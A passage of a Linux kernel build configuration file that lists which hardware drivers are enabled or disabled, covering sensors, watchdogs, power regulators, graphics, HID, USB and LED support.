CONFIG_SENSORS_EMC1403 is not set CONFIG_SENSORS_EMC2103=y # CONFIG_SENSORS_EMC6W201 is not set # CONFIG_SENSORS_SMSC47M1 is not set # CONFIG_SENSORS_SMSC47M192 is not set CONFIG_SENSORS_SMSC47B397=y CONFIG_SENSORS_SCH56XX_COMMON=y CONFIG_SENSORS_SCH5627=y CONFIG_SENSORS_SCH5636=y CONFIG_SENSORS_SMM665=y # CONFIG_SENSORS_ADC128D818 is not set CONFIG_SENSORS_ADS1015=y CONFIG_SENSORS_ADS7828=y CONFIG_SENSORS_AMC6821=y CONFIG_SENSORS_INA209=y # CONFIG_SENSORS_INA2XX is not set CONFIG_SENSORS_TC74=y CONFIG_SENSORS_THMC50=y CONFIG_SENSORS_TMP102=y CONFIG_SENSORS_TMP103=y # CONFIG_SENSORS_TMP401 is not set CONFIG_SENSORS_TMP421=y CONFIG_SENSORS_TWL4030_MADC=y CONFIG_SENSORS_VIA_CPUTEMP=y # CONFIG_SENSORS_VIA686A is not set CONFIG_SENSORS_VT1211=y # CONFIG_SENSORS_VT8231 is not set CONFIG_SENSORS_W83781D=y # CONFIG_SENSORS_W83791D is not set # CONFIG_SENSORS_W83792D is not set CONFIG_SENSORS_W83793=y CONFIG_SENSORS_W83795=y CONFIG_SENSORS_W83795_FANCTRL=y CONFIG_SENSORS_W83L785TS=y CONFIG_SENSORS_W83L786NG=y # CONFIG_SENSORS_W83627HF is not set CONFIG_SENSORS_W83627EHF=y # # ACPI drivers # CONFIG_SENSORS_ACPI_POWER=y CONFIG_SENSORS_ATK0110=y CONFIG_THERMAL=y # CONFIG_THERMAL_HWMON is not set # CONFIG_THERMAL_OF is not set # CONFIG_THERMAL_WRITABLE_TRIPS is not set # CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE is not set # CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE=y # CONFIG_THERMAL_DEFAULT_GOV_POWER_ALLOCATOR is not set CONFIG_THERMAL_GOV_FAIR_SHARE=y CONFIG_THERMAL_GOV_STEP_WISE=y CONFIG_THERMAL_GOV_BANG_BANG=y CONFIG_THERMAL_GOV_USER_SPACE=y CONFIG_THERMAL_GOV_POWER_ALLOCATOR=y # CONFIG_CLOCK_THERMAL is not set # CONFIG_THERMAL_EMULATION is not set # CONFIG_INTEL_POWERCLAMP is not set # CONFIG_INTEL_SOC_DTS_THERMAL is not set # CONFIG_INT340X_THERMAL is not set CONFIG_INTEL_PCH_THERMAL=y CONFIG_WATCHDOG=y CONFIG_WATCHDOG_CORE=y CONFIG_WATCHDOG_NOWAYOUT=y # # Watchdog Device Drivers # # CONFIG_SOFT_WATCHDOG is not set # CONFIG_DA9052_WATCHDOG is not set CONFIG_DA9055_WATCHDOG=y CONFIG_DA9062_WATCHDOG=y CONFIG_GPIO_WATCHDOG=y CONFIG_GPIO_WATCHDOG_ARCH_INITCALL=y CONFIG_XILINX_WATCHDOG=y CONFIG_CADENCE_WATCHDOG=y CONFIG_DW_WATCHDOG=y CONFIG_TWL4030_WATCHDOG=y CONFIG_MAX63XX_WATCHDOG=y # CONFIG_ACQUIRE_WDT is not set CONFIG_ADVANTECH_WDT=y CONFIG_ALIM1535_WDT=y # CONFIG_ALIM7101_WDT is not set CONFIG_F71808E_WDT=y CONFIG_SP5100_TCO=y CONFIG_SBC_FITPC2_WATCHDOG=y # CONFIG_EUROTECH_WDT is not set # CONFIG_IB700_WDT is not set # CONFIG_IBMASR is not set # CONFIG_WAFER_WDT is not set CONFIG_I6300ESB_WDT=y CONFIG_IE6XX_WDT=y CONFIG_ITCO_WDT=y CONFIG_ITCO_VENDOR_SUPPORT=y # CONFIG_IT8712F_WDT is not set CONFIG_IT87_WDT=y # CONFIG_HP_WATCHDOG is not set CONFIG_KEMPLD_WDT=y CONFIG_SC1200_WDT=y # CONFIG_PC87413_WDT is not set CONFIG_NV_TCO=y CONFIG_60XX_WDT=y CONFIG_CPU5_WDT=y # CONFIG_SMSC_SCH311X_WDT is not set CONFIG_SMSC37B787_WDT=y CONFIG_VIA_WDT=y # CONFIG_W83627HF_WDT is not set CONFIG_W83877F_WDT=y CONFIG_W83977F_WDT=y CONFIG_MACHZ_WDT=y CONFIG_SBC_EPX_C3_WATCHDOG=y CONFIG_MEN_A21_WDT=y # # PCI-based Watchdog Cards # CONFIG_PCIPCWATCHDOG=y CONFIG_WDTPCI=y # # USB-based Watchdog Cards # # CONFIG_USBPCWATCHDOG is not set CONFIG_SSB_POSSIBLE=y # # Sonics Silicon Backplane # CONFIG_SSB=y CONFIG_SSB_SPROM=y CONFIG_SSB_PCIHOST_POSSIBLE=y CONFIG_SSB_PCIHOST=y CONFIG_SSB_B43_PCI_BRIDGE=y CONFIG_SSB_SDIOHOST_POSSIBLE=y # CONFIG_SSB_SDIOHOST is not set # CONFIG_SSB_SILENT is not set # CONFIG_SSB_DEBUG is not set CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y CONFIG_SSB_DRIVER_PCICORE=y CONFIG_SSB_DRIVER_GPIO=y CONFIG_BCMA_POSSIBLE=y # # Broadcom specific AMBA # CONFIG_BCMA=y CONFIG_BCMA_HOST_PCI_POSSIBLE=y # CONFIG_BCMA_HOST_PCI is not set # CONFIG_BCMA_HOST_SOC is not set CONFIG_BCMA_DRIVER_PCI=y CONFIG_BCMA_DRIVER_GMAC_CMN=y CONFIG_BCMA_DRIVER_GPIO=y CONFIG_BCMA_DEBUG=y # # Multifunction device drivers # CONFIG_MFD_CORE=y CONFIG_MFD_AS3711=y CONFIG_MFD_AS3722=y # CONFIG_PMIC_ADP5520 is not set # CONFIG_MFD_AAT2870_CORE is not set CONFIG_MFD_ATMEL_FLEXCOM=y CONFIG_MFD_ATMEL_HLCDC=y # CONFIG_MFD_BCM590XX is not set CONFIG_MFD_AXP20X=y # CONFIG_MFD_CROS_EC is not set # CONFIG_PMIC_DA903X is not set CONFIG_PMIC_DA9052=y CONFIG_MFD_DA9052_I2C=y CONFIG_MFD_DA9055=y CONFIG_MFD_DA9062=y # CONFIG_MFD_DA9063 is not set CONFIG_MFD_DA9150=y CONFIG_MFD_DLN2=y CONFIG_MFD_MC13XXX=y CONFIG_MFD_MC13XXX_I2C=y CONFIG_MFD_HI6421_PMIC=y # CONFIG_HTC_PASIC3 is not set # CONFIG_HTC_I2CPLD is not set CONFIG_MFD_INTEL_QUARK_I2C_GPIO=y CONFIG_LPC_ICH=y CONFIG_LPC_SCH=y # CONFIG_INTEL_SOC_PMIC is not set CONFIG_MFD_INTEL_LPSS=y # CONFIG_MFD_INTEL_LPSS_ACPI is not set CONFIG_MFD_INTEL_LPSS_PCI=y CONFIG_MFD_JANZ_CMODIO=y CONFIG_MFD_KEMPLD=y # CONFIG_MFD_88PM800 is not set CONFIG_MFD_88PM805=y CONFIG_MFD_88PM860X=y # CONFIG_MFD_MAX14577 is not set # CONFIG_MFD_MAX77686 is not set CONFIG_MFD_MAX77693=y CONFIG_MFD_MAX77843=y # CONFIG_MFD_MAX8907 is not set # CONFIG_MFD_MAX8925 is not set CONFIG_MFD_MAX8997=y # CONFIG_MFD_MAX8998 is not set # CONFIG_MFD_MT6397 is not set # CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set # CONFIG_MFD_RETU is not set CONFIG_MFD_PCF50633=y CONFIG_PCF50633_ADC=y # CONFIG_PCF50633_GPIO is not set CONFIG_MFD_RDC321X=y CONFIG_MFD_RTSX_PCI=y CONFIG_MFD_RT5033=y CONFIG_MFD_RTSX_USB=y CONFIG_MFD_RC5T583=y CONFIG_MFD_RK808=y # CONFIG_MFD_RN5T618 is not set # CONFIG_MFD_SEC_CORE is not set # CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set CONFIG_MFD_SKY81452=y CONFIG_MFD_SMSC=y # CONFIG_ABX500_CORE is not set CONFIG_MFD_STMPE=y # # STMicroelectronics STMPE Interface Drivers # # CONFIG_STMPE_I2C is not set CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_AM335X_TSCADC is not set CONFIG_MFD_LP3943=y # CONFIG_MFD_LP8788 is not set # CONFIG_MFD_PALMAS is not set CONFIG_TPS6105X=y # CONFIG_TPS65010 is not set CONFIG_TPS6507X=y # CONFIG_MFD_TPS65090 is not set CONFIG_MFD_TPS65217=y # CONFIG_MFD_TPS65218 is not set # CONFIG_MFD_TPS6586X is not set CONFIG_MFD_TPS65910=y CONFIG_MFD_TPS65912=y CONFIG_MFD_TPS65912_I2C=y # CONFIG_MFD_TPS80031 is not set CONFIG_TWL4030_CORE=y # CONFIG_MFD_TWL4030_AUDIO is not set # CONFIG_TWL6040_CORE is not set # CONFIG_MFD_WL1273_CORE is not set CONFIG_MFD_LM3533=y # CONFIG_MFD_TC3589X is not set # CONFIG_MFD_TMIO is not set # CONFIG_MFD_VX855 is not set CONFIG_MFD_ARIZONA=y CONFIG_MFD_ARIZONA_I2C=y # CONFIG_MFD_WM5102 is not set # CONFIG_MFD_WM5110 is not set # CONFIG_MFD_WM8997 is not set # CONFIG_MFD_WM8998 is not set # CONFIG_MFD_WM8400 is not set # CONFIG_MFD_WM831X_I2C is not set # CONFIG_MFD_WM8350_I2C is not set CONFIG_MFD_WM8994=y CONFIG_REGULATOR=y # CONFIG_REGULATOR_DEBUG is not set CONFIG_REGULATOR_FIXED_VOLTAGE=y CONFIG_REGULATOR_VIRTUAL_CONSUMER=y CONFIG_REGULATOR_USERSPACE_CONSUMER=y CONFIG_REGULATOR_88PM8607=y # CONFIG_REGULATOR_ACT8865 is not set CONFIG_REGULATOR_AD5398=y # CONFIG_REGULATOR_ANATOP is not set # CONFIG_REGULATOR_AS3711 is not set CONFIG_REGULATOR_AS3722=y CONFIG_REGULATOR_AXP20X=y CONFIG_REGULATOR_DA9052=y CONFIG_REGULATOR_DA9055=y # CONFIG_REGULATOR_DA9062 is not set CONFIG_REGULATOR_DA9210=y # CONFIG_REGULATOR_DA9211 is not set CONFIG_REGULATOR_FAN53555=y CONFIG_REGULATOR_GPIO=y # CONFIG_REGULATOR_HI6421 is not set CONFIG_REGULATOR_ISL9305=y CONFIG_REGULATOR_ISL6271A=y CONFIG_REGULATOR_LP3971=y CONFIG_REGULATOR_LP3972=y CONFIG_REGULATOR_LP872X=y CONFIG_REGULATOR_LP8755=y CONFIG_REGULATOR_LTC3589=y CONFIG_REGULATOR_MAX1586=y CONFIG_REGULATOR_MAX8649=y CONFIG_REGULATOR_MAX8660=y CONFIG_REGULATOR_MAX8952=y CONFIG_REGULATOR_MAX8973=y CONFIG_REGULATOR_MAX8997=y # CONFIG_REGULATOR_MAX77693 is not set CONFIG_REGULATOR_MC13XXX_CORE=y CONFIG_REGULATOR_MC13783=y CONFIG_REGULATOR_MC13892=y # CONFIG_REGULATOR_MT6311 is not set CONFIG_REGULATOR_PCF50633=y # CONFIG_REGULATOR_PFUZE100 is not set CONFIG_REGULATOR_PWM=y CONFIG_REGULATOR_RC5T583=y CONFIG_REGULATOR_RK808=y CONFIG_REGULATOR_RT5033=y CONFIG_REGULATOR_SKY81452=y CONFIG_REGULATOR_TPS51632=y CONFIG_REGULATOR_TPS6105X=y CONFIG_REGULATOR_TPS62360=y CONFIG_REGULATOR_TPS65023=y CONFIG_REGULATOR_TPS6507X=y CONFIG_REGULATOR_TPS65217=y CONFIG_REGULATOR_TPS65910=y CONFIG_REGULATOR_TPS65912=y # CONFIG_REGULATOR_TWL4030 is not set # CONFIG_REGULATOR_WM8994 is not set # CONFIG_MEDIA_SUPPORT is not set # # Graphics support # CONFIG_AGP=y CONFIG_AGP_AMD64=y CONFIG_AGP_INTEL=y CONFIG_AGP_SIS=y # CONFIG_AGP_VIA is not set CONFIG_INTEL_GTT=y CONFIG_VGA_ARB=y CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_VGA_SWITCHEROO is not set CONFIG_DRM=y CONFIG_DRM_MIPI_DSI=y CONFIG_DRM_KMS_HELPER=y CONFIG_DRM_KMS_FB_HELPER=y CONFIG_DRM_FBDEV_EMULATION=y CONFIG_DRM_LOAD_EDID_FIRMWARE=y CONFIG_DRM_TTM=y # # I2C encoder or helper chips # CONFIG_DRM_I2C_ADV7511=y CONFIG_DRM_I2C_CH7006=y # CONFIG_DRM_I2C_SIL164 is not set # CONFIG_DRM_I2C_NXP_TDA998X is not set CONFIG_DRM_TDFX=y CONFIG_DRM_R128=y CONFIG_DRM_RADEON=y # CONFIG_DRM_RADEON_USERPTR is not set CONFIG_DRM_RADEON_UMS=y CONFIG_DRM_AMDGPU=y # CONFIG_DRM_AMDGPU_CIK is not set # CONFIG_DRM_AMDGPU_USERPTR is not set CONFIG_DRM_NOUVEAU=y CONFIG_NOUVEAU_DEBUG=5 CONFIG_NOUVEAU_DEBUG_DEFAULT=3 # CONFIG_DRM_NOUVEAU_BACKLIGHT is not set CONFIG_DRM_I810=y CONFIG_DRM_I915=y # CONFIG_DRM_I915_PRELIMINARY_HW_SUPPORT is not set CONFIG_DRM_MGA=y CONFIG_DRM_SIS=y CONFIG_DRM_VIA=y CONFIG_DRM_SAVAGE=y CONFIG_DRM_VGEM=y # CONFIG_DRM_VMWGFX is not set # CONFIG_DRM_GMA500 is not set CONFIG_DRM_UDL=y CONFIG_DRM_AST=y CONFIG_DRM_MGAG200=y CONFIG_DRM_CIRRUS_QEMU=y CONFIG_DRM_QXL=y CONFIG_DRM_BOCHS=y # CONFIG_DRM_VIRTIO_GPU is not set CONFIG_DRM_PANEL=y # # Display Panels # CONFIG_DRM_PANEL_SIMPLE=y # CONFIG_DRM_PANEL_SAMSUNG_S6E8AA0 is not set CONFIG_DRM_PANEL_SHARP_LQ101R1SX01=y CONFIG_DRM_BRIDGE=y # # Display Interface Bridges # # CONFIG_DRM_NXP_PTN3460 is not set # CONFIG_DRM_PARADE_PS8622 is not set # # Frame buffer Devices # CONFIG_FB=y # CONFIG_FIRMWARE_EDID is not set CONFIG_FB_CMDLINE=y CONFIG_FB_DDC=y CONFIG_FB_BOOT_VESA_SUPPORT=y CONFIG_FB_CFB_FILLRECT=y CONFIG_FB_CFB_COPYAREA=y CONFIG_FB_CFB_IMAGEBLIT=y # CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set CONFIG_FB_SYS_FILLRECT=y CONFIG_FB_SYS_COPYAREA=y CONFIG_FB_SYS_IMAGEBLIT=y # CONFIG_FB_FOREIGN_ENDIAN is not set CONFIG_FB_SYS_FOPS=y CONFIG_FB_DEFERRED_IO=y CONFIG_FB_HECUBA=y CONFIG_FB_SVGALIB=y # CONFIG_FB_MACMODES is not set CONFIG_FB_BACKLIGHT=y CONFIG_FB_MODE_HELPERS=y CONFIG_FB_TILEBLITTING=y # # Frame buffer hardware drivers # CONFIG_FB_CIRRUS=y # CONFIG_FB_PM2 is not set # CONFIG_FB_CYBER2000 is not set # CONFIG_FB_ARC is not set CONFIG_FB_ASILIANT=y CONFIG_FB_IMSTT=y CONFIG_FB_VGA16=y # CONFIG_FB_UVESA is not set CONFIG_FB_VESA=y # CONFIG_FB_EFI is not set CONFIG_FB_N411=y CONFIG_FB_HGA=y CONFIG_FB_OPENCORES=y CONFIG_FB_S1D13XXX=y # CONFIG_FB_NVIDIA is not set # CONFIG_FB_RIVA is not set CONFIG_FB_I740=y CONFIG_FB_LE80578=y CONFIG_FB_CARILLO_RANCH=y CONFIG_FB_MATROX=y CONFIG_FB_MATROX_MILLENIUM=y CONFIG_FB_MATROX_MYSTIQUE=y CONFIG_FB_MATROX_G=y CONFIG_FB_MATROX_I2C=y CONFIG_FB_MATROX_MAVEN=y # CONFIG_FB_RADEON is not set # CONFIG_FB_ATY128 is not set CONFIG_FB_ATY=y CONFIG_FB_ATY_CT=y # CONFIG_FB_ATY_GENERIC_LCD is not set CONFIG_FB_ATY_GX=y CONFIG_FB_ATY_BACKLIGHT=y CONFIG_FB_S3=y CONFIG_FB_S3_DDC=y CONFIG_FB_SAVAGE=y # CONFIG_FB_SAVAGE_I2C is not set CONFIG_FB_SAVAGE_ACCEL=y CONFIG_FB_SIS=y CONFIG_FB_SIS_300=y CONFIG_FB_SIS_315=y CONFIG_FB_VIA=y CONFIG_FB_VIA_DIRECT_PROCFS=y CONFIG_FB_VIA_X_COMPATIBILITY=y CONFIG_FB_NEOMAGIC=y CONFIG_FB_KYRO=y CONFIG_FB_3DFX=y CONFIG_FB_3DFX_ACCEL=y # CONFIG_FB_3DFX_I2C is not set CONFIG_FB_VOODOO1=y CONFIG_FB_VT8623=y CONFIG_FB_TRIDENT=y CONFIG_FB_ARK=y CONFIG_FB_PM3=y CONFIG_FB_CARMINE=y CONFIG_FB_CARMINE_DRAM_EVAL=y # CONFIG_CARMINE_DRAM_CUSTOM is not set # CONFIG_FB_SMSCUFX is not set # CONFIG_FB_UDL is not set CONFIG_FB_IBM_GXT4500=y CONFIG_FB_VIRTUAL=y CONFIG_FB_METRONOME=y CONFIG_FB_MB862XX=y CONFIG_FB_MB862XX_PCI_GDC=y CONFIG_FB_MB862XX_I2C=y # CONFIG_FB_BROADSHEET is not set # CONFIG_FB_AUO_K190X is not set # CONFIG_FB_SIMPLE is not set # CONFIG_FB_SSD1307 is not set CONFIG_FB_SM712=y CONFIG_BACKLIGHT_LCD_SUPPORT=y CONFIG_LCD_CLASS_DEVICE=y CONFIG_LCD_PLATFORM=y CONFIG_BACKLIGHT_CLASS_DEVICE=y CONFIG_BACKLIGHT_GENERIC=y CONFIG_BACKLIGHT_LM3533=y CONFIG_BACKLIGHT_CARILLO_RANCH=y # CONFIG_BACKLIGHT_PWM is not set CONFIG_BACKLIGHT_DA9052=y CONFIG_BACKLIGHT_APPLE=y CONFIG_BACKLIGHT_PM8941_WLED=y CONFIG_BACKLIGHT_SAHARA=y CONFIG_BACKLIGHT_ADP8860=y CONFIG_BACKLIGHT_ADP8870=y CONFIG_BACKLIGHT_88PM860X=y CONFIG_BACKLIGHT_PCF50633=y # CONFIG_BACKLIGHT_LM3630A is not set CONFIG_BACKLIGHT_LM3639=y # CONFIG_BACKLIGHT_LP855X is not set # CONFIG_BACKLIGHT_PANDORA is not set CONFIG_BACKLIGHT_SKY81452=y CONFIG_BACKLIGHT_TPS65217=y CONFIG_BACKLIGHT_AS3711=y # CONFIG_BACKLIGHT_GPIO is not set CONFIG_BACKLIGHT_LV5207LP=y CONFIG_BACKLIGHT_BD6107=y CONFIG_VGASTATE=y CONFIG_VIDEOMODE_HELPERS=y CONFIG_HDMI=y # CONFIG_LOGO is not set CONFIG_SOUND=y CONFIG_SOUND_OSS_CORE=y # CONFIG_SOUND_OSS_CORE_PRECLAIM is not set # CONFIG_SND is not set CONFIG_SOUND_PRIME=y # # HID support # CONFIG_HID=y CONFIG_HID_BATTERY_STRENGTH=y CONFIG_HIDRAW=y CONFIG_UHID=y CONFIG_HID_GENERIC=y # # Special HID drivers # # CONFIG_HID_A4TECH is not set CONFIG_HID_ACRUX=y # CONFIG_HID_ACRUX_FF is not set CONFIG_HID_APPLE=y CONFIG_HID_APPLEIR=y CONFIG_HID_AUREAL=y # CONFIG_HID_BELKIN is not set CONFIG_HID_BETOP_FF=y CONFIG_HID_CHERRY=y # CONFIG_HID_CHICONY is not set CONFIG_HID_CORSAIR=y CONFIG_HID_CP2112=y # CONFIG_HID_CYPRESS is not set CONFIG_HID_DRAGONRISE=y CONFIG_DRAGONRISE_FF=y # CONFIG_HID_EMS_FF is not set CONFIG_HID_ELECOM=y CONFIG_HID_ELO=y CONFIG_HID_EZKEY=y CONFIG_HID_GEMBIRD=y # CONFIG_HID_HOLTEK is not set # CONFIG_HID_GT683R is not set CONFIG_HID_KEYTOUCH=y CONFIG_HID_KYE=y # CONFIG_HID_UCLOGIC is not set CONFIG_HID_WALTOP=y CONFIG_HID_GYRATION=y CONFIG_HID_ICADE=y # CONFIG_HID_TWINHAN is not set # CONFIG_HID_KENSINGTON is not set CONFIG_HID_LCPOWER=y CONFIG_HID_LENOVO=y # CONFIG_HID_LOGITECH is not set CONFIG_HID_MAGICMOUSE=y # CONFIG_HID_MICROSOFT is not set CONFIG_HID_MONTEREY=y CONFIG_HID_MULTITOUCH=y CONFIG_HID_NTRIG=y CONFIG_HID_ORTEK=y CONFIG_HID_PANTHERLORD=y CONFIG_PANTHERLORD_FF=y CONFIG_HID_PENMOUNT=y CONFIG_HID_PETALYNX=y # CONFIG_HID_PICOLCD is not set # CONFIG_HID_PLANTRONICS is not set CONFIG_HID_PRIMAX=y # CONFIG_HID_ROCCAT is not set # CONFIG_HID_SAITEK is not set # CONFIG_HID_SAMSUNG is not set CONFIG_HID_SONY=y CONFIG_SONY_FF=y # CONFIG_HID_SPEEDLINK is not set CONFIG_HID_STEELSERIES=y CONFIG_HID_SUNPLUS=y # CONFIG_HID_RMI is not set CONFIG_HID_GREENASIA=y CONFIG_GREENASIA_FF=y CONFIG_HID_SMARTJOYPLUS=y CONFIG_SMARTJOYPLUS_FF=y CONFIG_HID_TIVO=y CONFIG_HID_TOPSEED=y CONFIG_HID_THINGM=y CONFIG_HID_THRUSTMASTER=y CONFIG_THRUSTMASTER_FF=y CONFIG_HID_WACOM=y # CONFIG_HID_WIIMOTE is not set CONFIG_HID_XINMO=y # CONFIG_HID_ZEROPLUS is not set CONFIG_HID_ZYDACRON=y CONFIG_HID_SENSOR_HUB=y CONFIG_HID_SENSOR_CUSTOM_SENSOR=y # # USB HID support # CONFIG_USB_HID=y # CONFIG_HID_PID is not set # CONFIG_USB_HIDDEV is not set # # I2C HID support # # CONFIG_I2C_HID is not set CONFIG_USB_OHCI_LITTLE_ENDIAN=y CONFIG_USB_SUPPORT=y CONFIG_USB_COMMON=y CONFIG_USB_ARCH_HAS_HCD=y CONFIG_USB=y # CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set # # Miscellaneous USB options # CONFIG_USB_DEFAULT_PERSIST=y # CONFIG_USB_DYNAMIC_MINORS is not set # CONFIG_USB_OTG is not set CONFIG_USB_OTG_WHITELIST=y CONFIG_USB_OTG_BLACKLIST_HUB=y # CONFIG_USB_OTG_FSM is not set CONFIG_USB_ULPI_BUS=y # CONFIG_USB_MON is not set CONFIG_USB_WUSB=y CONFIG_USB_WUSB_CBAF=y # CONFIG_USB_WUSB_CBAF_DEBUG is not set # # USB Host Controller Drivers # # CONFIG_USB_C67X00_HCD is not set CONFIG_USB_XHCI_HCD=y CONFIG_USB_XHCI_PCI=y CONFIG_USB_XHCI_PLATFORM=y CONFIG_USB_EHCI_HCD=y # CONFIG_USB_EHCI_ROOT_HUB_TT is not set CONFIG_USB_EHCI_TT_NEWSCHED=y CONFIG_USB_EHCI_PCI=y CONFIG_USB_EHCI_HCD_PLATFORM=y # CONFIG_USB_OXU210HP_HCD is not set CONFIG_USB_ISP116X_HCD=y # CONFIG_USB_ISP1362_HCD is not set # CONFIG_USB_FUSBH200_HCD is not set CONFIG_USB_FOTG210_HCD=y CONFIG_USB_OHCI_HCD=y CONFIG_USB_OHCI_HCD_PCI=y CONFIG_USB_OHCI_HCD_SSB=y CONFIG_USB_OHCI_HCD_PLATFORM=y # CONFIG_USB_UHCI_HCD is not set CONFIG_USB_SL811_HCD=y # CONFIG_USB_SL811_HCD_ISO is not set # CONFIG_USB_R8A66597_HCD is not set # CONFIG_USB_WHCI_HCD is not set CONFIG_USB_HWA_HCD=y CONFIG_USB_HCD_BCMA=y CONFIG_USB_HCD_SSB=y CONFIG_USB_HCD_TEST_MODE=y # # USB Device Class drivers # CONFIG_USB_PRINTER=y CONFIG_USB_WDM=y CONFIG_USB_TMC=y # # NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may # # # also be needed; see USB_STORAGE Help for more info # CONFIG_USB_STORAGE=y CONFIG_USB_STORAGE_DEBUG=y # CONFIG_USB_STORAGE_REALTEK is not set CONFIG_USB_STORAGE_DATAFAB=y # CONFIG_USB_STORAGE_FREECOM is not set CONFIG_USB_STORAGE_ISD200=y CONFIG_USB_STORAGE_USBAT=y # CONFIG_USB_STORAGE_SDDR09 is not set CONFIG_USB_STORAGE_SDDR55=y CONFIG_USB_STORAGE_JUMPSHOT=y # CONFIG_USB_STORAGE_ALAUDA is not set # CONFIG_USB_STORAGE_ONETOUCH is not set # CONFIG_USB_STORAGE_KARMA is not set CONFIG_USB_STORAGE_CYPRESS_ATACB=y CONFIG_USB_STORAGE_ENE_UB6250=y CONFIG_USB_UAS=y # # USB Imaging devices # CONFIG_USB_MDC800=y # CONFIG_USB_MICROTEK is not set # CONFIG_USBIP_CORE is not set # CONFIG_USB_MUSB_HDRC is not set # CONFIG_USB_DWC3 is not set CONFIG_USB_DWC2=y CONFIG_USB_DWC2_HOST=y # # Gadget/Dual-role mode requires USB Gadget support to be enabled # # CONFIG_USB_DWC2_PERIPHERAL is not set # CONFIG_USB_DWC2_DUAL_ROLE is not set # CONFIG_USB_DWC2_PCI is not set # CONFIG_USB_DWC2_DEBUG is not set CONFIG_USB_DWC2_TRACK_MISSED_SOFS=y # CONFIG_USB_CHIPIDEA is not set CONFIG_USB_ISP1760=y CONFIG_USB_ISP1760_HCD=y CONFIG_USB_ISP1761_UDC=y # CONFIG_USB_ISP1760_HOST_ROLE is not set # CONFIG_USB_ISP1760_GADGET_ROLE is not set CONFIG_USB_ISP1760_DUAL_ROLE=y # # USB port drivers # CONFIG_USB_USS720=y # # USB Miscellaneous drivers # CONFIG_USB_EMI62=y CONFIG_USB_EMI26=y CONFIG_USB_ADUTUX=y # CONFIG_USB_SEVSEG is not set # CONFIG_USB_RIO500 is not set CONFIG_USB_LEGOTOWER=y # CONFIG_USB_LCD is not set CONFIG_USB_LED=y # CONFIG_USB_CYPRESS_CY7C63 is not set CONFIG_USB_CYTHERM=y CONFIG_USB_IDMOUSE=y # CONFIG_USB_FTDI_ELAN is not set CONFIG_USB_APPLEDISPLAY=y CONFIG_USB_SISUSBVGA=y # CONFIG_USB_LD is not set # CONFIG_USB_TRANCEVIBRATOR is not set CONFIG_USB_IOWARRIOR=y # CONFIG_USB_TEST is not set CONFIG_USB_EHSET_TEST_FIXTURE=y CONFIG_USB_ISIGHTFW=y CONFIG_USB_YUREX=y CONFIG_USB_EZUSB_FX2=y CONFIG_USB_HSIC_USB3503=y CONFIG_USB_LINK_LAYER_TEST=y # CONFIG_USB_CHAOSKEY is not set # # USB Physical Layer drivers # CONFIG_USB_PHY=y CONFIG_NOP_USB_XCEIV=y # CONFIG_USB_GPIO_VBUS is not set CONFIG_USB_ISP1301=y CONFIG_USB_GADGET=y # CONFIG_USB_GADGET_DEBUG is not set # CONFIG_USB_GADGET_DEBUG_FS is not set CONFIG_USB_GADGET_VBUS_DRAW=2 CONFIG_USB_GADGET_STORAGE_NUM_BUFFERS=2 # # USB Peripheral Controller # CONFIG_USB_FOTG210_UDC=y CONFIG_USB_GR_UDC=y CONFIG_USB_R8A66597=y CONFIG_USB_PXA27X=y CONFIG_USB_MV_UDC=y # CONFIG_USB_MV_U3D is not set CONFIG_USB_M66592=y # CONFIG_USB_BDC_UDC is not set CONFIG_USB_AMD5536UDC=y CONFIG_USB_NET2272=y CONFIG_USB_NET2272_DMA=y # CONFIG_USB_NET2280 is not set CONFIG_USB_GOKU=y # CONFIG_USB_EG20T is not set CONFIG_USB_GADGET_XILINX=y CONFIG_USB_DUMMY_HCD=y CONFIG_USB_LIBCOMPOSITE=y CONFIG_USB_F_HID=y # CONFIG_USB_CONFIGFS is not set # CONFIG_USB_ZERO is not set # CONFIG_USB_ETH is not set # CONFIG_USB_G_NCM is not set # CONFIG_USB_GADGETFS is not set # CONFIG_USB_FUNCTIONFS is not set # CONFIG_USB_MASS_STORAGE is not set # CONFIG_USB_GADGET_TARGET is not set # CONFIG_USB_G_PRINTER is not set CONFIG_USB_G_HID=y # CONFIG_USB_LED_TRIG is not set CONFIG_UWB=y CONFIG_UWB_HWA=y CONFIG_UWB_WHCI=y CONFIG_UWB_I1480U=y CONFIG_MMC=y # CONFIG_MMC_DEBUG is not set # # MMC/SD/SDIO Card Drivers # # CONFIG_MMC_BLOCK is not set # CONFIG_MMC_TEST is not set # # MMC/SD/SDIO Host Controller Drivers # CONFIG_MMC_SDHCI=y CONFIG_MMC_SDHCI_PCI=y CONFIG_MMC_RICOH_MMC=y CONFIG_MMC_SDHCI_ACPI=y # CONFIG_MMC_SDHCI_PLTFM is not set CONFIG_MMC_TIFM_SD=y CONFIG_MMC_CB710=y CONFIG_MMC_VIA_SDMMC=y CONFIG_MMC_VUB300=y # CONFIG_MMC_USHC is not set # CONFIG_MMC_USDHI6ROL0 is not set CONFIG_MMC_REALTEK_PCI=y CONFIG_MMC_REALTEK_USB=y # CONFIG_MMC_TOSHIBA_PCI is not set CONFIG_MMC_MTK=y # CONFIG_MEMSTICK is not set CONFIG_NEW_LEDS=y CONFIG_LEDS_CLASS=y CONFIG_LEDS_CLASS_FLASH=y # # LED drivers # # CONFIG_LEDS_88PM860X is not set # CONFIG_LEDS_AAT1290 is not set CONFIG_LEDS_BCM6328=y CONFIG_LEDS_BCM6358=y # CONFIG_LEDS_LM3530 is not set CONFIG_LEDS_LM3533=y CONFIG_LEDS_LM3642=y CONFIG_LEDS_PCA9532=y # CONFIG_LEDS_PCA9532_GPIO is not set # CONFIG_LEDS_GPIO is not set CONFIG_LEDS_LP3944=y CONFIG_LEDS_LP55XX_COMMON=y # CONFIG_LEDS_LP5521 is not set # CONFIG_LEDS_LP5523 is not set CONFIG_LEDS_LP5562=y CONFIG_LEDS_LP8501=y # CONFIG_LEDS_LP8860 is not set # CONFIG_LEDS_PCA955X is not set CONFIG_LEDS_PCA963X=y # CONFIG_LEDS_DA9052 is not set CONFIG_LEDS_PWM=y 